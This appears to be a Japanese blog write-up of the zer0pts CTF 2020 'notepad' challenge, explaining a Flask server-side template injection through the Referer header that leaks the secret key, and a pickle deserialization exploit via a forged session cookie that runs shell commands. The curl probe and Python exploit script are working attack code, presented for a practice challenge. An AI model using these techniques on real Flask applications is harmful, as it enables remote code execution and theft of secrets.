はまやんはまやんはまやん

hamayanhamayan's blog

notepad [zer0pts CTF 2020]

https://ctftime.org/task/10626

解説

flaskで作ってある。
404サイトを見てみると、SSTIできそうなところがある。
Refererに戻るときにテンプレートをはさんでいる。

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    
    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'
    
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
    
    return flask.render_template_string(html), 
    404

なので、curl -i -H "Referer: http://18.179.178.246:8001/?{{config}}" http://18.179.178.246:8001/envyをすると、ぞろぞろ出てくる。
HTMLのエンティティ参照形式になっているので、CyberChefでデコードすると、以下の感じ。

{'ENV': 'production',
 'DEBUG': False, 
 'TESTING': False, 
 'PROPAGATE_EXCEPTIONS': None, 
 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 
 'SECRET_KEY': b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I', 
 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 
 'USE_X_SENDFILE': False, 
 'SERVER_NAME': None, 

つらつら出てくるが、秘密鍵がわかるので、それをとりあえず取り出そう。 b'\\\xe4\xed}w\xfd3\xdc\x1f\xd72\x07/C\xa9I'
ここまでは、flask使われてるし、やったことあるし、できた。
何を取ってくればいいかもわからない。

そっちに脆弱性があるのね。何をとってくればいいかわからないときは、RCEが怪しい?メタ読みしすぎか。
さて、pythonのpickleも使われているが、これにはRCE問題がある。
インスタンスを入れておくと、読込時にreduceが呼ばれるため、ここに任意のコードを差し込める。
以下の部分で差し込みを行う。

def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]
    
    return data

これでlsを実行すると、flagというファイルがあることがわかるので、cat flagでフラグを取り出す。

import os, sys, pickle, base64, requests, datetime
import hhtools.flask as hf

class Exploit(object):
    def __reduce__(self):
        import subprocess
        #return (subprocess.check_output, (['ls'],))
        return (subprocess.check_output, (['cat', 'flag'],))

secret = b'\x815\xf7\xa3!\xe5\xf8\x89\x98\xb6\xfe\xb0\xa1%\xf9\xcb'
data = [{"date": "2020-03-09 11:43:15", "text": Exploit(), "title": "exploit"}]
hashed = base64.b64encode(pickle.dumps(data))

res = requests.get('http://18.179.178.246:8001/', cookies = {
    'session': hf.generate_flask_session({'savedata':hashed}, secret)
})

print(res.text)